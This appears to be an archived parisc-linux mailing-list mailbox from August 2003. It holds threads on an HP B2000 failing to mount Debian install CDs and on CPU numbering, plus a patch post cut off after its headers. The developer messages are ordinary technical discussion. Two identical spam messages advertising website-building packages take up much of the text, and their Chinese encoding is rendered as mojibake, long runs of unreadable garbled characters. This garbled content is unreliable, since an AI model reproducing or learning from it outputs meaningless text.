Resent-Message-Id: <20030825194134.7F5DB48F0@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19340


I have a hp visualise b2000 and i am using debian 3.0 (woody)

the device type is listed as a FX4830T i dont have the url where i read this 
unfortunately i have read rather allot of documentation and got verry 
confused. 

Thanks

Quoting Grant Grundler <grundler@parisc-linux.org>:

> On Mon, Aug 25, 2003 at 07:59:14PM +0100, mmogenius@v8fiesta.co.uk wrote:
> > when booting from the cd i am unable to mount the cd for use...
> 
> Need to know which model parisc box you have and which model CD ROM.
> 
> > i have read some where about this prblem if i am using verbose mode?
> 
> Where did you read this? (ie post a URL)
> 
> > is this correct if so 
> > how do i get round it. Thanks
> 
> 
> grant
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: 25 Aug 2003 14:48:40 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1061840921.2044.368.camel@mulgrave>
References: <3F2E2C7700004E38@ocpmta2.freegates.net>
	<20030825164553.GB28778@dsl2.external.hp.com>
	<1061830247.2044.165.camel@mulgrave> 
	<20030825191915.GA377@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622724 30076 80.91.229.3 (22 Nov 2014 02:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:44 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:48:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87FEC4875
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 13:48:43 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7PJmfI13464;
	Mon, 25 Aug 2003 15:48:41 -0400
In-Reply-To: <20030825191915.GA377@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19341

On Mon, 2003-08-25 at 14:19, Grant Grundler wrote:
> That's not technically possible.
> PARISC firmware uses the HPA to reference specific devices (including CPU).
> 
> We can use the same CPU number as PAT PDC and call them "physical".
> But systems which don't have PAT PDC can only use arbitrary numbers
> assigned by the parisc-linux startup code. Maybe there is a way to
> make the numbers match PIM info output but I'm not sure how.

Realistically, "logical" just means we make up a numbering scheme
independent of what the HW tells us.  If the HW isn't telling us
anything, then us telling the HW is fine.

The gist of the "no more logical mappings edict" is that basically we
only have one source for CPU numbers (and it can be sparse) rather than
two, one of which was usually compact.

James





From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Not Mounted
Date: Mon, 25 Aug 2003 13:50:42 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030825195042.GA1468@dsl2.external.hp.com>
References: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk> <20030825193149.GC377@dsl2.external.hp.com> <1061840314.3f4a65ba7293e@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622724 30080 80.91.229.3 (22 Nov 2014 02:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:50:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 027E14903; Mon, 25 Aug 2003 13:50:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1061840314.3f4a65ba7293e@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19342

On Mon, Aug 25, 2003 at 08:38:34PM +0100, mmogenius@v8fiesta.co.uk wrote:
> I have a hp visualise b2000 and i am using debian 3.0 (woody)

ok. This sounds like a known problem with the Debian 3.0r0
install CDs. Did a Debian 3.0r1 installer ever get made?

If not, the alternative is to try the more recent net-install ISOs.
"net install" just means the system has to have access to a Debian
mirror via LAN. Still need to burn and boot from CD.

URLs to "net install ISOs" are on the www.parisc-linux.org web page.

hth,
grant


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Not Mounted
Date: Mon, 25 Aug 2003 13:57:55 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20030825195755.GB1468@dsl2.external.hp.com>
References: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk> <20030825193149.GC377@dsl2.external.hp.com> <1061840314.3f4a65ba7293e@webmail.v8fiesta.co.uk> <20030825195042.GA1468@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622725 30082 80.91.229.3 (22 Nov 2014 02:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:57:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D0C63491E; Mon, 25 Aug 2003 13:57:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030825195042.GA1468@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19343

On Mon, Aug 25, 2003 at 01:50:42PM -0600, Grant Grundler wrote:
> URLs to "net install ISOs" are on the www.parisc-linux.org web page.

The link points to:
	ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/

But newer images (2.4.21-pa9 kernel based) are on:
	http://pateam.esiee.fr/cd-images/testing/

is the "rsync" broken?
Can someone from ESIEE fix that?
(not urgent)

thanks,
grant


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akf4@163.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+?=
Date: Tue, 26 Aug 2003 10:00:42 +0800
Lines: 190
Approved: news@gmane.org
Message-ID: <20030826015754.9D96B4882@dsl2.external.hp.com>
Reply-To: gd333@163.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622725 30083 80.91.229.3 (22 Nov 2014 02:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 19:58:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 163.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D96B4882
	for <parisc-linux@parisc-linux.org>; Mon, 25 Aug 2003 19:57:54 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19344

ΪӢģҵվ
------------------------
ҪԻƣģ档
 վչܹӦҵ޷չҪ
 к̨ܣվɺ󣬽Լ¹
-----------------------------
˾Ϊվ¹ܣ

 1.Ʒչʾ-չʾĲƷͼĲï༶̨࣬
 2.̵-ͻֱѡĲƷ̵һ
 3.Ʒ-ͻͨƷơ𡢹ؼʵȲĲƷ
 4.ͻ-ԲͬͻԱɽзּȨޡ
 5.Ʒ-ͻֱ¶ĲƷ
 6.ͻ-ͻֱϸԣ
 7.ŷ-ֱӷ˾š֪ͨϢȡ
 8.Ա-Ϊⲿ̳ҲΪ˾ڲԱͨƽ̨
 9.ϵ-趨κ⣬ͻԱ˽˽顣
10.ʼб-ռͻϣͻϢ
11.Ϻؿ-Ҫգͻ;ؿǿͻĸ顣
12.ҵʾ-վͬҵʾ֣ҵĶ
13.̨-ϹܣԼƹרҵԱ

ҲԴ5Уѡһʺ˾վ?
-----------------------------
(һ) ҵվ(Ӣ)

 11
 2100ռ䣻
 3վƣ
 41Ӣվӭҳ
 51վҳ
 61Ӣվҳ                    
 75վҳ
 85Ӣվҳ
 9վӢվ
10Gifťͣť
11LogoGif
12BannerGif
13վԶڸ2(Ӣ)
14ӭҳ߼1ף
15õտͻ;
16άվ1ꣻ
17ƽÿ¸վ2ҳΡ
--------------------------
() ׼ҵվ(Ӣ)

 11
 2120ռ䣻
 31ҵͬ䣻
 4վƣ
 51Ӣվӭҳ
 61վҳ
 71Ӣվҳ                   
 810վҳ       
 910Ӣվҳ
10Gifťͣť
11Flash1
12LogoGif
13Banner̬
14Ч1
15վӢվ
16վԶڸ2(Ӣ)
17ӭҳ߼1ף
18õտͻԣ
19ЧͼƬӢĹ2
20ĻӢĹ2
21άվ1ꣻ
22ƽÿ¸վ4ҳΣ
---------------------------
() ҵվ(Ӣ)

 11
 2150ռ䣻
 35ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 720վҳ
 8վӢվ
 91Ӣվҳ
1020Ӣվҳ
11Gifťͣť̬ť
12Flash2
13Ƶ1
14Ч1
15LogoGif
16Banner̬
17̬1
18վԶڸ2(Ӣ)
19ҳ߼
20ݿտͻ
21ЧͼƬӢĹ4
22ЧҳӢĹ2
23Ļ棨šţӢĹ4
24άվ1ꣻ
25ƽÿ¸վ8ҳΣ
26ҪԼάѵ1ܣ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2200ռ䣻
 310ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 740վҳ
 8վӢվ
 91Ӣվҳ
1040Ӣվҳ
11Gifťͣť̬ť
12Flash4
13Ƶ2
14Ч1
15ҳ1
16LogoGif
17Banner̬
18̬2
19վԶڸ2(Ӣ)
20ҳ߼
21άվ1ꣻ
22ЧͼƬӢĹ6
23ЧҳӢĹ4
24ݿտͻԣ
25Ļ棨šţӢĹ6
26ݿտͻ
27ݿƷ
28ƽÿ¸վ16ҳΣ
29ҪԼάѵ2ܣ2ס
30óƵ--óƵͨ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2300ռ䣻
 320ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 780վҳ
 8վӢվ
 91Ӣվҳ
1080Ӣվҳ
11Gifťͣť̬ť
12Flash8
13Ƶ3
14Ч2
15ҳ2
16LogoGif
17Banner̬
18̬3
19ĿҳӢĿҳ
20վԶڸ2(Ӣ)
21ҳ߼
22ͻ԰2(Ӣ)
23ݿտͻԣ
24Ļ棨šţӢĹ8
25ЧͼƬӢĹ8
26ЧҳӢĹ6
27ݿտͻԡͻ
28ݿԱ
29ʼбռÿʼַ͹棻
30ݿƷ
31άվ1ꣻ
32ƽÿ¸վ32ҳΣ
33ҪԼάѵ3ܣ3ף
34óƵ--óҵͨ1ס
--------------------------- 
˾һҴóҵ"Ӧо""繤̽""ýӰӶ
"רҵ˾רΪҹó˾ҵּ
ӦϵͳվԼҵýӰӶƬ

˾ڹóٻֺ֧֯£ɹԭ֤
ϵͳóƵͨóҵͨϵóӦ
ƷܵóҵĻӭ    

ͬʱҵϵ˾ŷ塢ձ
ǵȵʮҲɹ̡СԼõĺ
ϵȥһ࣬˾Ѱɹڹҵʵ
ڲƷٳɶڳóס
 -----------------------------
˾г޹˾
ַмô԰6¥9E
绰020-85580234ת19 
ֻ13710685240
棺020-85581405
䣺gd333@163.com
-----------------------------



From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akf4@163.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+?=
Date: Tue, 26 Aug 2003 10:02:20 +0800
Lines: 190
Approved: news@gmane.org
Message-ID: <20030826015942.3C49048DC@dsl2.external.hp.com>
Reply-To: gd333@163.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622725 30086 80.91.229.3 (22 Nov 2014 02:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 19:59:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 163.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C49048DC
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 19:59:42 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19345

ΪӢģҵվ
------------------------
ҪԻƣģ档
 վչܹӦҵ޷չҪ
 к̨ܣվɺ󣬽Լ¹
-----------------------------
˾Ϊվ¹ܣ

 1.Ʒչʾ-չʾĲƷͼĲï༶̨࣬
 2.̵-ͻֱѡĲƷ̵һ
 3.Ʒ-ͻͨƷơ𡢹ؼʵȲĲƷ
 4.ͻ-ԲͬͻԱɽзּȨޡ
 5.Ʒ-ͻֱ¶ĲƷ
 6.ͻ-ͻֱϸԣ
 7.ŷ-ֱӷ˾š֪ͨϢȡ
 8.Ա-Ϊⲿ̳ҲΪ˾ڲԱͨƽ̨
 9.ϵ-趨κ⣬ͻԱ˽˽顣
10.ʼб-ռͻϣͻϢ
11.Ϻؿ-Ҫգͻ;ؿǿͻĸ顣
12.ҵʾ-վͬҵʾ֣ҵĶ
13.̨-ϹܣԼƹרҵԱ

ҲԴ5Уѡһʺ˾վ?
-----------------------------
(һ) ҵվ(Ӣ)

 11
 2100ռ䣻
 3վƣ
 41Ӣվӭҳ
 51վҳ
 61Ӣվҳ                    
 75վҳ
 85Ӣվҳ
 9վӢվ
10Gifťͣť
11LogoGif
12BannerGif
13վԶڸ2(Ӣ)
14ӭҳ߼1ף
15õտͻ;
16άվ1ꣻ
17ƽÿ¸վ2ҳΡ
--------------------------
() ׼ҵվ(Ӣ)

 11
 2120ռ䣻
 31ҵͬ䣻
 4վƣ
 51Ӣվӭҳ
 61վҳ
 71Ӣվҳ                   
 810վҳ       
 910Ӣվҳ
10Gifťͣť
11Flash1
12LogoGif
13Banner̬
14Ч1
15վӢվ
16վԶڸ2(Ӣ)
17ӭҳ߼1ף
18õտͻԣ
19ЧͼƬӢĹ2
20ĻӢĹ2
21άվ1ꣻ
22ƽÿ¸վ4ҳΣ
---------------------------
() ҵվ(Ӣ)

 11
 2150ռ䣻
 35ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 720վҳ
 8վӢվ
 91Ӣվҳ
1020Ӣվҳ
11Gifťͣť̬ť
12Flash2
13Ƶ1
14Ч1
15LogoGif
16Banner̬
17̬1
18վԶڸ2(Ӣ)
19ҳ߼
20ݿտͻ
21ЧͼƬӢĹ4
22ЧҳӢĹ2
23Ļ棨šţӢĹ4
24άվ1ꣻ
25ƽÿ¸վ8ҳΣ
26ҪԼάѵ1ܣ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2200ռ䣻
 310ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 740վҳ
 8վӢվ
 91Ӣվҳ
1040Ӣվҳ
11Gifťͣť̬ť
12Flash4
13Ƶ2
14Ч1
15ҳ1
16LogoGif
17Banner̬
18̬2
19վԶڸ2(Ӣ)
20ҳ߼
21άվ1ꣻ
22ЧͼƬӢĹ6
23ЧҳӢĹ4
24ݿտͻԣ
25Ļ棨šţӢĹ6
26ݿտͻ
27ݿƷ
28ƽÿ¸վ16ҳΣ
29ҪԼάѵ2ܣ2ס
30óƵ--óƵͨ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2300ռ䣻
 320ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 780վҳ
 8վӢվ
 91Ӣվҳ
1080Ӣվҳ
11Gifťͣť̬ť
12Flash8
13Ƶ3
14Ч2
15ҳ2
16LogoGif
17Banner̬
18̬3
19ĿҳӢĿҳ
20վԶڸ2(Ӣ)
21ҳ߼
22ͻ԰2(Ӣ)
23ݿտͻԣ
24Ļ棨šţӢĹ8
25ЧͼƬӢĹ8
26ЧҳӢĹ6
27ݿտͻԡͻ
28ݿԱ
29ʼбռÿʼַ͹棻
30ݿƷ
31άվ1ꣻ
32ƽÿ¸վ32ҳΣ
33ҪԼάѵ3ܣ3ף
34óƵ--óҵͨ1ס
--------------------------- 
˾һҴóҵ"Ӧо""繤̽""ýӰӶ
"רҵ˾רΪҹó˾ҵּ
ӦϵͳվԼҵýӰӶƬ

˾ڹóٻֺ֧֯£ɹԭ֤
ϵͳóƵͨóҵͨϵóӦ
ƷܵóҵĻӭ    

ͬʱҵϵ˾ŷ塢ձ
ǵȵʮҲɹ̡СԼõĺ
ϵȥһ࣬˾Ѱɹڹҵʵ
ڲƷٳɶڳóס
 -----------------------------
˾г޹˾
ַмô԰6¥9E
绰020-85580234ת19 
ֻ13710685240
棺020-85581405
䣺gd333@163.com
-----------------------------



From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Not Mounted
Date: Tue, 26 Aug 2003 08:45:00 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3F2A5B0400005B6F@ocpmta1.freegates.net>
References: <20030825195042.GA1468@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622725 30088 80.91.229.3 (22 Nov 2014 02:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 00:45:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8273048A7
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 00:45:12 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19rXWf-0003sY-00; Tue, 26 Aug 2003 08:41:57 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 26 Aug 2003 08:45:00 +0200
In-Reply-To: <20030825195042.GA1468@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19346

> 
>> 
>> On Mon, Aug 25, 2003 at 08:38:34PM +0100, mmogenius@v8fiesta.co.uk wrote:
>> I have a hp visualise b2000 and i am using debian 3.0 (woody)
>
>ok. This sounds like a known problem with the Debian 3.0r0
>install CDs. Did a Debian 3.0r1 installer ever get made?
>
You have right, the pb is well known and afaik not yet resolved: it seems
that pdc console and ide cdrom are not compatible (so have to install via
net-install or an external scsi drive if you have an additional scsi card.
then build your own kernel to access ide-cdrom). The system boot but early
hang on cd initialisation (the green led lighted continiously)

Excepted this detail, the b2k is a very interesting model with cpu PA8600
400Mhz :) and run kernel as well 32bits as 64bits :)) 

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH-2.6] Fix gsc_ps2.c for german keyboards
Date: Tue, 26 Aug 2003 08:58:49 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20030826065849.GB9104@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="gatW/ieO32f1wygP"
X-Trace: ger.gmane.org 1416622726 30090 80.91.229.3 (22 Nov 2014 02:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 00:58:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0273248DC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 00:58:51 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id C6FCF4B3A8; Tue, 26 Aug 2003 08:58:49 +0200 (CEST)
Content-Disposition: inline
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
